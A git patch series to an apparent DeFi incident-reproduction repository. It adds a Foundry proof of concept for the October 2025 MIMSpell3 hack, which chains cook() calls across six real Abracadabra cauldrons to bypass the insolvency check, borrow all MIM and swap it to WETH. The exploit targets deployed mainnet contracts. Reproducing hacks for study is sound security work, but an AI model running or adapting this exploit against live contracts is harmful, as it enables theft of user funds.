From ae270359058fc237729f653bdb37267d9a5f28b9 Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Mon, 6 Oct 2025 05:45:14 +0530 Subject: [PATCH 1/4] feat: add new MIMSpell exp --- README.md | 19 ++- src/test/2025-10/MIMSpell3_exp.sol | 226 +++++++++++++++++++++++++++++ 2 files changed, 244 insertions(+), 1 deletion(-) create mode 100644 src/test/2025-10/MIMSpell3_exp.sol diff --git a/README.md b/README.md index a8028de1..5db6df60 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ **Reproduce DeFi hack incidents using Foundry.** -667 incidents included. +668 incidents included. Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h) @@ -59,6 +59,7 @@ If you appreciate our work, please consider donating. Even a small amount helps - [Giveth](https://giveth.io/donate/defihacklabs) ## List of Past DeFi Incidents +[20251004 MIMSpell3](#20251004-mimspell3---bypassed-insolvency-check) [20250913 Kame](#20250913-kame---arbitary-external-call) [20250830 EverValueCoin](#20250830-evervaluecoin---arbitrage) @@ -1434,6 +1435,22 @@ If you appreciate our work, please consider donating. Even a small amount helps ### List of DeFi Hacks & POCs +### 20251004 MIMSpell3 - Bypassed Insolvency Check + +### Lost: 1.7M USD + + +```sh +forge test --contracts ./src/test/2025-10/MIMSpell3_exp.sol -vvv +``` +#### Contract +[MIMSpell3_exp.sol](src/test/2025-10/MIMSpell3_exp.sol) +### Link reference + +https://x.com/Phalcon_xyz/status/1974532815208485102 + +--- + ### 20250913 Kame - Arbitary External Call ### Lost: 18167.8 USD diff --git a/src/test/2025-10/MIMSpell3_exp.sol b/src/test/2025-10/MIMSpell3_exp.sol new file mode 100644 index 00000000..8cc73c6e --- /dev/null +++ b/src/test/2025-10/MIMSpell3_exp.sol @@ -0,0 +1,226 @@ +// SPDX-License-Identifier: UNLICENSED +// @KeyInfo - Total Lost : 1.7M USD +// Attacker : https://etherscan.io/address/0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d +// Attack Contract : https://etherscan.io/address/0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993 +// Vulnerable Contract : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c +// Attack Tx : https://etherscan.io/tx/0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6 + +// @Info +// Vulnerable Contract Code : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c#code + +// @Analysis +// Post-mortem : N/A +// Twitter Guy : N/A +// Hacking God : N/A +pragma solidity ^0.8.15; +import "../basetest.sol"; +import "../interface.sol"; + +// Interfaces +interface IBentoBox { + function balanceOf(address token, address user) external view returns (uint256); + function toAmount(address token, uint256 share, bool roundUp) external view returns (uint256); + function withdraw( + address token, + address from, + address to, + uint256 amount, + uint256 share + ) external returns (uint256 amountOut, uint256 shareOut); +} + +interface ICauldron { + function cook( + uint8[] calldata actions, + uint256[] calldata values, + bytes[] calldata datas + ) external payable returns (uint256 value1, uint256 value2); +} + +interface ICurveRouter { + function exchange( + address[11] calldata route, + uint256[5][5] calldata swap_params, + uint256 amount, + uint256 expected, + address[5] calldata pools, + address receiver + ) external returns (uint256); +} + +interface ICurve3Pool { + function remove_liquidity( + uint256 amount, + uint256[3] calldata min_amounts + ) external returns (uint256[3] memory); + + function remove_liquidity_one_coin( + uint256 token_amount, + int128 i, + uint256 min_amount + ) external; +} + +interface IUniswapV3Router { + struct ExactInputParams { + bytes path; + address recipient; + uint256 deadline; + uint256 amountIn; + uint256 amountOutMinimum; + } + + function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); +} + +contract MIMSpell3Exploit is BaseTestWithBalanceLog { + // Constants + uint256 private constant BLOCK_NUM_TO_FORK = 23_504_544; + + // Pool indices for 3Pool + uint256 private constant DAI_INDEX = 0; + uint256 private constant USDC_INDEX = 1; + int128 private constant USDT_INDEX = 2; + + // Uniswap V3 fee tier + uint24 private constant UNISWAP_V3_FEE_TIER = 500; // 0.05% + + // Cauldron action types + uint8 private constant ACTION_REPAY = 5; + uint8 private constant ACTION_NO_OP = 0; + + // Curve swap parameters + uint256 private constant INPUT_TOKEN_INDEX = 0; + uint256 private constant OUTPUT_TOKEN_INDEX = 1; + uint256 private constant SWAP_TYPE = 1; + uint256 private constant POOL_TYPE = 1; + uint256 private constant N_COINS = 2; + + // Contract addresses + address private constant BENTOBOX = 0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce; + address private constant CURVE_ROUTER = 0x45312ea0eFf7E09C83CBE249fa1d7598c4C8cd4e; + address private constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; + address private constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564; + + // Token addresses + address private constant MIM = 0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3; + address private constant THREE_CRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; + address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + // Pool addresses + address private constant MIM_3CRV_POOL = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B; + + // Cauldron addresses and debt amounts + address[6] private CAULDRONS = [ + 0x46f54d434063e5F1a2b2CC6d9AAa657b1B9ff82c, + 0x289424aDD4A1A503870EB475FD8bF1D586b134ED, + 0xce450a23378859fB5157F4C4cCCAf48faA30865B, + 0x40d95C4b34127CF43438a963e7C066156C5b87a3, + 0x6bcd99D6009ac1666b58CB68fB4A50385945CDA2, + 0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d + ]; + + uint256[6] private MIM_AVAILABLE = [ + 736_232_217_688_141_260_022_912, + 75_477_235_211_805_918_200_769, + 612_313_552_561_697_359_796_747, + 274_846_689_470_068_597_038_378, + 85_411_627_254_104_797_488_889, + 9_474_541_117_269_550_572_521 + ]; + + function setUp() public { + vm.createSelectFork("mainnet", BLOCK_NUM_TO_FORK); + fundingToken = WETH; + } + + function testExploit() public balanceLog { + _borrowFromAllCauldrons(); + _withdrawAllMIMFromBentoBox(); + _swapMIMTo3Crv(); + _remove3PoolLiquidityToUSDT(); + _swapUSDTToWETH(); + } + + function _borrowFromAllCauldrons() internal { + uint8[] memory actions = new uint8[](2); + actions[0] = ACTION_REPAY; + actions[1] = ACTION_NO_OP; + + uint256[] memory values = new uint256[](2); + + for (uint256 i = 0; i < CAULDRONS.length; i++) { + _borrowFromCauldron(CAULDRONS[i], actions, values, MIM_AVAILABLE[i]); + } + } + + function _borrowFromCauldron( + address cauldron, + uint8[] memory actions, + uint256[] memory values, + uint256 debtAmount + ) internal { + bytes[] memory datas = new bytes[](2); + datas[0] = abi.encode(debtAmount, address(this)); + datas[1] = hex""; + ICauldron(cauldron).cook(actions, values, datas); + } + + function _withdrawAllMIMFromBentoBox() internal { + uint256 mimBalance = IBentoBox(BENTOBOX).balanceOf(MIM, address(this)); + IBentoBox(BENTOBOX).withdraw(MIM, address(this), address(this), 0, mimBalance); + } + + function _swapMIMTo3Crv() internal { + uint256 mimAmount = IERC20(MIM).balanceOf(address(this)); + IERC20(MIM).approve(CURVE_ROUTER, mimAmount); + + address[11] memory route; + route[0] = MIM; + route[1] = MIM_3CRV_POOL; + route[2] = THREE_CRV; + + uint256[5][5] memory swapParams; + swapParams[0][0] = INPUT_TOKEN_INDEX; + swapParams[0][1] = OUTPUT_TOKEN_INDEX; + swapParams[0][2] = SWAP_TYPE; + swapParams[0][3] = POOL_TYPE; + swapParams[0][4] = N_COINS; + + address[5] memory pools; + pools[0] = MIM_3CRV_POOL; + + ICurveRouter(CURVE_ROUTER).exchange(route, swapParams, mimAmount, 0, pools, address(this)); + } + + function _remove3PoolLiquidityToUSDT() internal { + uint256 threeCrvBalance = IERC20(THREE_CRV).balanceOf(address(this)); + IERC20(THREE_CRV).approve(CURVE_3POOL, threeCrvBalance); + + // Remove liquidity as USDT only (index 2 in the 3Pool: DAI=0, USDC=1, USDT=2) + ICurve3Pool(CURVE_3POOL).remove_liquidity_one_coin(threeCrvBalance, USDT_INDEX, 0); + } + + function _swapUSDTToWETH() internal { + uint256 usdtBalance = IERC20(USDT).balanceOf(address(this)); + if (usdtBalance > 0) { + SafeTransferLib.safeApprove(IERC20(USDT), UNISWAP_V3_ROUTER, usdtBalance); + + IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({ + path: abi.encodePacked(USDT, UNISWAP_V3_FEE_TIER, WETH), + recipient: address(this), + deadline: block.timestamp, + amountIn: usdtBalance, + amountOutMinimum: 0 + }); + + IUniswapV3Router(UNISWAP_V3_ROUTER).exactInput(params); + } + } + + + receive() external payable {} +} \ No newline at end of file From 2c3980b986cfb08ceea6345b90459cb0885d122c Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Mon, 6 Oct 2025 09:09:21 +0530 Subject: [PATCH 2/4] fix: dont hardcode values --- src/test/2025-10/MIMSpell3_exp.sol | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/src/test/2025-10/MIMSpell3_exp.sol b/src/test/2025-10/MIMSpell3_exp.sol index 8cc73c6e..52924b77 100644 --- a/src/test/2025-10/MIMSpell3_exp.sol +++ b/src/test/2025-10/MIMSpell3_exp.sol @@ -35,6 +35,10 @@ interface ICauldron { uint256[] calldata values, bytes[] calldata datas ) external payable returns (uint256 value1, uint256 value2); + function borrowLimit() + external + view + returns (uint128 total, uint128 borrowPartPerAddress); } interface ICurveRouter { @@ -78,8 +82,6 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { uint256 private constant BLOCK_NUM_TO_FORK = 23_504_544; // Pool indices for 3Pool - uint256 private constant DAI_INDEX = 0; - uint256 private constant USDC_INDEX = 1; int128 private constant USDT_INDEX = 2; // Uniswap V3 fee tier @@ -122,15 +124,7 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { 0x6bcd99D6009ac1666b58CB68fB4A50385945CDA2, 0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d ]; - - uint256[6] private MIM_AVAILABLE = [ - 736_232_217_688_141_260_022_912, - 75_477_235_211_805_918_200_769, - 612_313_552_561_697_359_796_747, - 274_846_689_470_068_597_038_378, - 85_411_627_254_104_797_488_889, - 9_474_541_117_269_550_572_521 - ]; + function setUp() public { vm.createSelectFork("mainnet", BLOCK_NUM_TO_FORK); @@ -153,7 +147,9 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { uint256[] memory values = new uint256[](2); for (uint256 i = 0; i < CAULDRONS.length; i++) { - _borrowFromCauldron(CAULDRONS[i], actions, values, MIM_AVAILABLE[i]); + uint balavail = IBentoBox(BENTOBOX).balanceOf(MIM, CAULDRONS[i]); + (uint borrowlimit,) = ICauldron(CAULDRONS[i]).borrowLimit(); + if(borrowlimit >= balavail) _borrowFromCauldron(CAULDRONS[i], actions, values, IBentoBox(BENTOBOX).toAmount(MIM, balavail, false)); } } From edda88135d3177f9e08a71d6ee3e59e2a75982be Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Mon, 6 Oct 2025 09:10:31 +0530 Subject: [PATCH 3/4] fmt: format code with forge fmt --- src/test/2025-10/MIMSpell3_exp.sol | 73 ++++++++++++++---------------- 1 file changed, 33 insertions(+), 40 deletions(-) diff --git a/src/test/2025-10/MIMSpell3_exp.sol b/src/test/2025-10/MIMSpell3_exp.sol index 52924b77..93d7a671 100644 --- a/src/test/2025-10/MIMSpell3_exp.sol +++ b/src/test/2025-10/MIMSpell3_exp.sol @@ -13,6 +13,7 @@ // Twitter Guy : N/A // Hacking God : N/A pragma solidity ^0.8.15; + import "../basetest.sol"; import "../interface.sol"; @@ -35,10 +36,7 @@ interface ICauldron { uint256[] calldata values, bytes[] calldata datas ) external payable returns (uint256 value1, uint256 value2); - function borrowLimit() - external - view - returns (uint128 total, uint128 borrowPartPerAddress); + function borrowLimit() external view returns (uint128 total, uint128 borrowPartPerAddress); } interface ICurveRouter { @@ -53,16 +51,9 @@ interface ICurveRouter { } interface ICurve3Pool { - function remove_liquidity( - uint256 amount, - uint256[3] calldata min_amounts - ) external returns (uint256[3] memory); - - function remove_liquidity_one_coin( - uint256 token_amount, - int128 i, - uint256 min_amount - ) external; + function remove_liquidity(uint256 amount, uint256[3] calldata min_amounts) external returns (uint256[3] memory); + + function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external; } interface IUniswapV3Router { @@ -73,37 +64,39 @@ interface IUniswapV3Router { uint256 amountIn; uint256 amountOutMinimum; } - - function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); + + function exactInput( + ExactInputParams calldata params + ) external payable returns (uint256 amountOut); } contract MIMSpell3Exploit is BaseTestWithBalanceLog { // Constants uint256 private constant BLOCK_NUM_TO_FORK = 23_504_544; - + // Pool indices for 3Pool int128 private constant USDT_INDEX = 2; - + // Uniswap V3 fee tier uint24 private constant UNISWAP_V3_FEE_TIER = 500; // 0.05% - + // Cauldron action types uint8 private constant ACTION_REPAY = 5; uint8 private constant ACTION_NO_OP = 0; - + // Curve swap parameters uint256 private constant INPUT_TOKEN_INDEX = 0; uint256 private constant OUTPUT_TOKEN_INDEX = 1; uint256 private constant SWAP_TYPE = 1; uint256 private constant POOL_TYPE = 1; uint256 private constant N_COINS = 2; - + // Contract addresses address private constant BENTOBOX = 0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce; address private constant CURVE_ROUTER = 0x45312ea0eFf7E09C83CBE249fa1d7598c4C8cd4e; address private constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; address private constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564; - + // Token addresses address private constant MIM = 0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3; address private constant THREE_CRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; @@ -111,12 +104,12 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - + // Pool addresses address private constant MIM_3CRV_POOL = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B; - + // Cauldron addresses and debt amounts - address[6] private CAULDRONS = [ + address[6] private CAULDRONS = [ 0x46f54d434063e5F1a2b2CC6d9AAa657b1B9ff82c, 0x289424aDD4A1A503870EB475FD8bF1D586b134ED, 0xce450a23378859fB5157F4C4cCCAf48faA30865B, @@ -125,7 +118,6 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { 0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d ]; - function setUp() public { vm.createSelectFork("mainnet", BLOCK_NUM_TO_FORK); fundingToken = WETH; @@ -143,13 +135,15 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { uint8[] memory actions = new uint8[](2); actions[0] = ACTION_REPAY; actions[1] = ACTION_NO_OP; - + uint256[] memory values = new uint256[](2); - + for (uint256 i = 0; i < CAULDRONS.length; i++) { - uint balavail = IBentoBox(BENTOBOX).balanceOf(MIM, CAULDRONS[i]); - (uint borrowlimit,) = ICauldron(CAULDRONS[i]).borrowLimit(); - if(borrowlimit >= balavail) _borrowFromCauldron(CAULDRONS[i], actions, values, IBentoBox(BENTOBOX).toAmount(MIM, balavail, false)); + uint256 balavail = IBentoBox(BENTOBOX).balanceOf(MIM, CAULDRONS[i]); + (uint256 borrowlimit,) = ICauldron(CAULDRONS[i]).borrowLimit(); + if (borrowlimit >= balavail) { + _borrowFromCauldron(CAULDRONS[i], actions, values, IBentoBox(BENTOBOX).toAmount(MIM, balavail, false)); + } } } @@ -173,29 +167,29 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { function _swapMIMTo3Crv() internal { uint256 mimAmount = IERC20(MIM).balanceOf(address(this)); IERC20(MIM).approve(CURVE_ROUTER, mimAmount); - + address[11] memory route; route[0] = MIM; route[1] = MIM_3CRV_POOL; route[2] = THREE_CRV; - + uint256[5][5] memory swapParams; swapParams[0][0] = INPUT_TOKEN_INDEX; swapParams[0][1] = OUTPUT_TOKEN_INDEX; swapParams[0][2] = SWAP_TYPE; swapParams[0][3] = POOL_TYPE; swapParams[0][4] = N_COINS; - + address[5] memory pools; pools[0] = MIM_3CRV_POOL; - + ICurveRouter(CURVE_ROUTER).exchange(route, swapParams, mimAmount, 0, pools, address(this)); } function _remove3PoolLiquidityToUSDT() internal { uint256 threeCrvBalance = IERC20(THREE_CRV).balanceOf(address(this)); IERC20(THREE_CRV).approve(CURVE_3POOL, threeCrvBalance); - + // Remove liquidity as USDT only (index 2 in the 3Pool: DAI=0, USDC=1, USDT=2) ICurve3Pool(CURVE_3POOL).remove_liquidity_one_coin(threeCrvBalance, USDT_INDEX, 0); } @@ -204,7 +198,7 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { uint256 usdtBalance = IERC20(USDT).balanceOf(address(this)); if (usdtBalance > 0) { SafeTransferLib.safeApprove(IERC20(USDT), UNISWAP_V3_ROUTER, usdtBalance); - + IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({ path: abi.encodePacked(USDT, UNISWAP_V3_FEE_TIER, WETH), recipient: address(this), @@ -212,11 +206,10 @@ contract MIMSpell3Exploit is BaseTestWithBalanceLog { amountIn: usdtBalance, amountOutMinimum: 0 }); - + IUniswapV3Router(UNISWAP_V3_ROUTER).exactInput(params); } } - receive() external payable {} -} \ No newline at end of file +} From f7c2c7d9bd77d87bc2f64a9d193a0c0feb6faa0f Mon Sep 17 00:00:00 2001 From: SunWeb3Sec <107249780+SunWeb3Sec@users.noreply.github.com> Date: Tue, 7 Oct 2025 21:37:17 +0800 Subject: [PATCH 4/4] Update README.md --- README.md | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 5db6df60..981e35b7 100644 --- a/README.md +++ b/README.md @@ -44,12 +44,6 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ - Lesson 6: Write Your Own PoC (Reentrancy) ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc/) | [Spanish](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc/es) | [日本語](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc/ja) ) - Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) | [Spanish](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/es) | [日本語](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/ja) ) -## Who Support Us? DeFiHackLabs Received Grant From - - - - - ## Donate us If you appreciate our work, please consider donating. Even a small amount helps us continue developing and improving our projects, and promoting web3 security. @@ -60,7 +54,9 @@ If you appreciate our work, please consider donating. Even a small amount helps ## List of Past DeFi Incidents [20251004 MIMSpell3](#20251004-mimspell3---bypassed-insolvency-check) + [20250913 Kame](#20250913-kame---arbitary-external-call) + [20250830 EverValueCoin](#20250830-evervaluecoin---arbitrage) [20250831 Hexotic](#20250831-hexotic---incorrect-input-validation) @@ -2899,4 +2895,4 @@ Moved to [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs) ### FlashLoan Testing -Moved to [DeFiLabs](https://github.com/SunWeb3Sec/DeFiLabs) \ No newline at end of file +Moved to [DeFiLabs](https://github.com/SunWeb3Sec/DeFiLabs)